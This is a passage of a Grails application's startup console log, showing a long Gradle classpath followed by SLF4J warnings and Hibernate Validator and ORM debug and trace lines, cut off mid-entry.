2/files-2.1/org.apache.ant/ant-junit/1.10.12/81bde3486c2ed79cb6f699c2a5a77b0340d1f2e8/ant-junit-1.10.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant/1.10.13/85fd5990a27ddafe8af3f7a6d7132d2c29a22a7c/ant-1.10.13.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.fusesource.jansi/jansi/1.18/d9205bbcd4b5f9cd1effe752d18f73bd942d783f/jansi-1.18.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jline/jline/2.14.6/c3aeac59c022bdc497c8c48ed86fa50450e4896a/jline-2.14.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-component-api/1.0-alpha-33/7d9560effcadf867937ac6885d0d1045ea98ab59/plexus-component-api-1.0-alpha-33.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-model-builder/3.8.3/7e997c68595707444c6cee187187c28dcfaf495b/maven-model-builder-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-model/3.8.3/f99d58de0bbf384acbf86da52856f341c22ff58b/maven-model-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-repository-metadata/3.8.3/7afe248217d380317431d07e3d8f546905e3157d/maven-repository-metadata-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-spi/1.9.16/12222dca88a4812560ae2fa59e8bd47871ff096a/maven-resolver-spi-1.9.16.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-util/1.9.16/fb6cb68c4593de6af6f96fa4f5dba3e6d30b8ec3/maven-resolver-util-1.9.16.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-api/1.9.16/a3a0bc37ba32ded01484b7dc20aea36fc3ff3a77/maven-resolver-api-1.9.16.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-settings-builder/3.6.3/756d46810b8cc7b2b98585ccc787854cdfde7fd9/maven-settings-builder-3.6.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.sonatype.plexus/plexus-sec-dispatcher/1.4/43fde524e9b94c883727a9fddb8669181b890ea7/plexus-sec-dispatcher-1.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.sonatype.sisu/sisu-inject-plexus/2.6.0/7842bcac78208d1f9b60dcdd690eea573ce0f6c3/sisu-inject-plexus-2.6.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-artifact/3.8.3/d275764a41dcfdfd3def259d1eed2bd6f02464b2/maven-artifact-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-settings/3.6.3/bbf4e06dcdb0bb33d1546c080df5c8d92b535d30/maven-settings-3.6.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.eclipse.sisu/org.eclipse.sisu.plexus/0.3.0/3f53953a998d03b9b0f7d5098f63119e434af0ef/org.eclipse.sisu.plexus-0.3.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-utils/3.3.0/cf43b5391de623b36fe066a21127baef82c64022/plexus-utils-3.3.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.inject/javax.inject/1/6975da39a7040257bd51d21a231b76c915872d38/javax.inject-1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.commons/commons-lang3/3.12.0/c6842c86792ff03b9f1d1fe2aab8dc23aa6c6f0e/commons-lang3-3.12.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.httpcomponents/httpcore/4.4.16/51cf043c87253c9f58b539c9f7e44c8894223850/httpcore-4.4.16.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.yaml/snakeyaml/1.30/8fde7fe2586328ac3c68db92045e1c8759125000/snakeyaml-1.30.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-launcher/1.10.13/331234763210702757a5780437844c6aef5d2bdf/ant-launcher-1.10.13.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-antlr/1.10.12/74b17ef7229f3d7c0d55d42486889cc553ab04d6/ant-antlr-1.10.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-groovydoc/3.0.11/8faadefbe0df0430ef99c5b55b19d524bcf16862/groovy-groovydoc-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-loader-tools/2.7.10/db8ce15a8bb1c9a998fe4841e086dacc8bcc7fbf/spring-boot-loader-tools-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.vaadin.external.google/android-json/0.0.20131108.vaadin1/fa26d351fe62a6a17f5cda1287c1c6110dec413f/android-json-0.0.20131108.vaadin1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/net.sf.jopt-simple/jopt-simple/5.0.4/4fdac2fbe92dfad86aa6e9301736f6b4342a3f5c/jopt-simple-5.0.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-core/5.3.25/85382e86321227506bf7f97ed80e2ab88bce25f0/spring-core-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.security/spring-security-crypto/5.7.7/ed4ba8723f0c4c7abf420eae7714aa5391410be8/spring-security-crypto-5.7.7.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-classworlds/2.5.2/4abb111bfdace5b8167db4c0ef74644f3f88f142/plexus-classworlds-2.5.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/junit/junit/4.13.2/8ac9e16d933b6fb43bc7f576336b8f4d7eb5ba12/junit-4.13.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-interpolation/1.26/25b919c664b79795ccde0ede5cee0fd68b544197/plexus-interpolation-1.26.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-builder-support/3.8.3/cfa5b47b864fa65fb0d16fece91c85efc0c95796/maven-builder-support-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.eclipse.sisu/org.eclipse.sisu.inject/0.3.5/d4265dd4f0f1d7a06d80df5a5f475d5ff9c17140/org.eclipse.sisu.inject-0.3.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.annotation/javax.annotation-api/1.3.2/934c04d3cfef185a8008e7bf34331b79730a9d43/javax.annotation-api-1.3.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.inject/jakarta.inject-api/2.0.1/4c28afe1991a941d7702fe1362c365f0a8641d1e/jakarta.inject-api-2.0.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.annotation/jakarta.annotation-api/2.0.0/f3cd84cc45f583a0fdc42a8156d6c5b98d625c1a/jakarta.annotation-api-2.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.commons/commons-compress/1.21/4ec95b60d4e86b5c95a0e919cb172a0af98011ef/commons-compress-1.21.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.sonatype.plexus/plexus-cipher/1.4/50ade46f23bb38cd984b4ec560c46223432aac38/plexus-cipher-1.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-component-annotations/1.5.5/c72f2660d0cbed24246ddb55d7fdc4f7374d2078/plexus-component-annotations-1.5.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-jcl/5.3.26/2005accc2cf5212c614df3760b3a434e7dce807c/spring-jcl-5.3.26.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-core/2.2/3f2bd07716a31c395e2837254f37f21f0f0ab24b/hamcrest-core-2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest/2.2/1820c0968dba3a11a1b30669bb1f01978a91dedc/hamcrest-2.2.jar:/home/jameschang/.local/share/JetBrains/IntelliJIdea2023.3/groovy-grails/lib/groovy-grails-rt.jar org.grails.cli.GrailsCli run-app --plain-output SLF4J: Failed to load class \u0026#34;org.slf4j.impl.StaticLoggerBinder\u0026#34;. SLF4J: Defaulting to no-operation (NOP) logger implementation SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details. |Running application... OpenJDK 64-Bit Server VM warning: Options -Xverify:none and -noverify were deprecated in JDK 13 and will likely be removed in a future release. 2024-04-16 15:26:42.445 INFO --- [kground-preinit] o.h.validator.internal.util.Version : HV000001: Hibernate Validator 6.2.5.Final 2024-04-16 15:26:42.449 DEBUG --- [kground-preinit] o.h.v.i.xml.config.ValidationXmlParser : Trying to load META-INF/validation.xml for XML based Validator configuration. 2024-04-16 15:26:42.450 DEBUG --- [kground-preinit] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via TCCL 2024-04-16 15:26:42.450 DEBUG --- [kground-preinit] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via Hibernate Validator\u0026#39;s class loader 2024-04-16 15:26:42.451 DEBUG --- [kground-preinit] o.h.v.i.xml.config.ValidationXmlParser : No META-INF/validation.xml found. Using annotation based configuration only. 2024-04-16 15:26:42.453 DEBUG --- [kground-preinit] o.h.v.i.e.resolver.TraversableResolvers : Found javax.persistence.Persistence on classpath containing \u0026#39;getPersistenceUtil\u0026#39;. Assuming JPA 2 environment. Trying to instantiate JPA aware TraversableResolver 2024-04-16 15:26:42.454 DEBUG --- [kground-preinit] o.h.v.i.e.resolver.TraversableResolvers : Instantiated JPA aware TraversableResolver of type org.hibernate.validator.internal.engine.resolver.JPATraversableResolver. 2024-04-16 15:26:42.470 DEBUG --- [kground-preinit] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:42.525 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:42.529 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:42.529 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.resolver.JPATraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:42.529 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:42.529 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:42.530 DEBUG --- [kground-preinit] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:44.319 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.cfg.beanvalidation.BeanValidationIntegrator]. 2024-04-16 15:26:44.320 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.secure.spi.JaccIntegrator]. 2024-04-16 15:26:44.320 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.cache.internal.CollectionCacheInvalidator]. 2024-04-16 15:26:44.323 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [jdbc] -\u0026gt; [org.hibernate.resource.transaction.backend.jdbc.internal.JdbcResourceLocalTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.323 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [jta] -\u0026gt; [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.324 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.JDBCTransactionFactory] -\u0026gt; [org.hibernate.resource.transaction.backend.jdbc.internal.JdbcResourceLocalTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.324 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.JTATransactionFactory] -\u0026gt; [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.324 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.CMTTransactionFactory] -\u0026gt; [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.324 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [persistent] -\u0026gt; [org.hibernate.hql.spi.id.persistent.PersistentTableBulkIdStrategy] 2024-04-16 15:26:44.325 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [global_temporary] -\u0026gt; [org.hibernate.hql.spi.id.global.GlobalTemporaryTableBulkIdStrategy] 2024-04-16 15:26:44.325 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [local_temporary] -\u0026gt; [org.hibernate.hql.spi.id.local.LocalTemporaryTableBulkIdStrategy] 2024-04-16 15:26:44.325 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [default] -\u0026gt; [org.hibernate.boot.model.naming.ImplicitNamingStrategyJpaCompliantImpl] 2024-04-16 15:26:44.325 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [jpa] -\u0026gt; [org.hibernate.boot.model.naming.ImplicitNamingStrategyJpaCompliantImpl] 2024-04-16 15:26:44.325 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [legacy-jpa] -\u0026gt; [org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyJpaImpl] 2024-04-16 15:26:44.326 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [legacy-hbm] -\u0026gt; [org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyHbmImpl] 2024-04-16 15:26:44.326 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [component-path] -\u0026gt; [org.hibernate.boot.model.naming.ImplicitNamingStrategyComponentPathImpl] 2024-04-16 15:26:44.326 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.cache.spi.CacheKeysFactory] : [default] -\u0026gt; [org.hibernate.cache.internal.DefaultCacheKeysFactory] 2024-04-16 15:26:44.326 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.cache.spi.CacheKeysFactory] : [simple] -\u0026gt; [org.hibernate.cache.internal.SimpleCacheKeysFactory] 2024-04-16 15:26:44.329 INFO --- [ restartedMain] org.hibernate.Version : HHH000412: Hibernate ORM core version 5.6.11.Final 2024-04-16 15:26:44.330 DEBUG --- [ restartedMain] org.hibernate.cfg.Environment : HHH000206: hibernate.properties not found 2024-04-16 15:26:44.383 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom TraversableResolver of type org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver 2024-04-16 15:26:44.384 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:44.384 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator 2024-04-16 15:26:44.384 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ConstraintValidatorFactory of type org.springframework.validation.beanvalidation.SpringConstraintValidatorFactory 2024-04-16 15:26:44.384 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : HV000002: Ignoring XML configuration. 2024-04-16 15:26:44.385 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:44.386 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:44.386 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:44.386 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:44.386 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:44.386 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:44.402 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.cfg.beanvalidation.BeanValidationIntegrator]. 2024-04-16 15:26:44.402 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.secure.spi.JaccIntegrator]. 2024-04-16 15:26:44.403 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.hibernate.cache.internal.CollectionCacheInvalidator]. 2024-04-16 15:26:44.403 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.grails.orm.hibernate.EventListenerIntegrator]. 2024-04-16 15:26:44.403 DEBUG --- [ restartedMain] o.h.i.internal.IntegratorServiceImpl : Adding Integrator [org.grails.orm.hibernate.MetadataIntegrator]. 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [jdbc] -\u0026gt; [org.hibernate.resource.transaction.backend.jdbc.internal.JdbcResourceLocalTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [jta] -\u0026gt; [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.JDBCTransactionFactory] -\u0026gt; [org.hibernate.resource.transaction.backend.jdbc.internal.JdbcResourceLocalTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.JTATransactionFactory] -\u0026gt; [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] : [org.hibernate.transaction.CMTTransactionFactory] -\u0026gt; [org.hibernate.resource.transaction.backend.jta.internal.JtaTransactionCoordinatorBuilderImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [persistent] -\u0026gt; [org.hibernate.hql.spi.id.persistent.PersistentTableBulkIdStrategy] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [global_temporary] -\u0026gt; [org.hibernate.hql.spi.id.global.GlobalTemporaryTableBulkIdStrategy] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.hql.spi.id.MultiTableBulkIdStrategy] : [local_temporary] -\u0026gt; [org.hibernate.hql.spi.id.local.LocalTemporaryTableBulkIdStrategy] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [default] -\u0026gt; [org.hibernate.boot.model.naming.ImplicitNamingStrategyJpaCompliantImpl] 2024-04-16 15:26:44.403 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [jpa] -\u0026gt; [org.hibernate.boot.model.naming.ImplicitNamingStrategyJpaCompliantImpl] 2024-04-16 15:26:44.404 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [legacy-jpa] -\u0026gt; [org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyJpaImpl] 2024-04-16 15:26:44.404 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [legacy-hbm] -\u0026gt; [org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyHbmImpl] 2024-04-16 15:26:44.404 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.boot.model.naming.ImplicitNamingStrategy] : [component-path] -\u0026gt; [org.hibernate.boot.model.naming.ImplicitNamingStrategyComponentPathImpl] 2024-04-16 15:26:44.404 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.cache.spi.CacheKeysFactory] : [default] -\u0026gt; [org.hibernate.cache.internal.DefaultCacheKeysFactory] 2024-04-16 15:26:44.404 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.cache.spi.CacheKeysFactory] : [simple] -\u0026gt; [org.hibernate.cache.internal.SimpleCacheKeysFactory] 2024-04-16 15:26:44.405 TRACE --- [ restartedMain] o.h.b.r.s.internal.StrategySelectorImpl : Registering named strategy selector [org.hibernate.property.access.spi.PropertyAccessStrategy] : [traitProperty] -\u0026gt; [org.grails.orm.hibernate.access.TraitPropertyAccessStrategy] 2024-04-16 15:26:44.408 DEBUG --- [ restartedMain] o.hibernate.service.spi.ServiceBinding : Overriding existing service binding [org.hibernate.secure.spi.JaccService] 2024-04-16 15:26:44.408 DEBUG --- [ restartedMain] org.hibernate.cfg.Configuration : Building session factory using provided StandardServiceRegistry 2024-04-16 15:26:44.410 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.config.spi.ConfigurationService] 2024-04-16 15:26:44.412 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.cache.spi.RegionFactory] 2024-04-16 15:26:44.412 DEBUG --- [ restartedMain] o.h.c.internal.RegionFactoryInitiator : Cache region factory : org.hibernate.cache.internal.NoCachingRegionFactory 2024-04-16 15:26:44.415 INFO --- [ restartedMain] o.hibernate.annotations.common.Version : HCANN000001: Hibernate Commons Annotations {5.1.2.Final} 2024-04-16 15:26:44.425 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration boolean -\u0026gt; org.hibernate.type.BooleanType@1df3f15a 2024-04-16 15:26:44.425 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration boolean -\u0026gt; org.hibernate.type.BooleanType@1df3f15a 2024-04-16 15:26:44.425 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Boolean -\u0026gt; org.hibernate.type.BooleanType@1df3f15a 2024-04-16 15:26:44.425 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration numeric_boolean -\u0026gt; org.hibernate.type.NumericBooleanType@4350a220 2024-04-16 15:26:44.426 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration true_false -\u0026gt; org.hibernate.type.TrueFalseType@779de27c 2024-04-16 15:26:44.426 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration yes_no -\u0026gt; org.hibernate.type.YesNoType@7f1ecbcb 2024-04-16 15:26:44.426 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration byte -\u0026gt; org.hibernate.type.ByteType@73a3f507 2024-04-16 15:26:44.426 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration byte -\u0026gt; org.hibernate.type.ByteType@73a3f507 2024-04-16 15:26:44.426 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Byte -\u0026gt; org.hibernate.type.ByteType@73a3f507 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration character -\u0026gt; org.hibernate.type.CharacterType@1c61a208 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration char -\u0026gt; org.hibernate.type.CharacterType@1c61a208 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Character -\u0026gt; org.hibernate.type.CharacterType@1c61a208 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration short -\u0026gt; org.hibernate.type.ShortType@5794d988 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration short -\u0026gt; org.hibernate.type.ShortType@5794d988 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Short -\u0026gt; org.hibernate.type.ShortType@5794d988 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration integer -\u0026gt; org.hibernate.type.IntegerType@2037059f 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration int -\u0026gt; org.hibernate.type.IntegerType@2037059f 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Integer -\u0026gt; org.hibernate.type.IntegerType@2037059f 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration long -\u0026gt; org.hibernate.type.LongType@65f033bd 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration long -\u0026gt; org.hibernate.type.LongType@65f033bd 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Long -\u0026gt; org.hibernate.type.LongType@65f033bd 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration float -\u0026gt; org.hibernate.type.FloatType@36360aab 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration float -\u0026gt; org.hibernate.type.FloatType@36360aab 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Float -\u0026gt; org.hibernate.type.FloatType@36360aab 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration double -\u0026gt; org.hibernate.type.DoubleType@461a4e31 2024-04-16 15:26:44.429 DEBUG --- [ 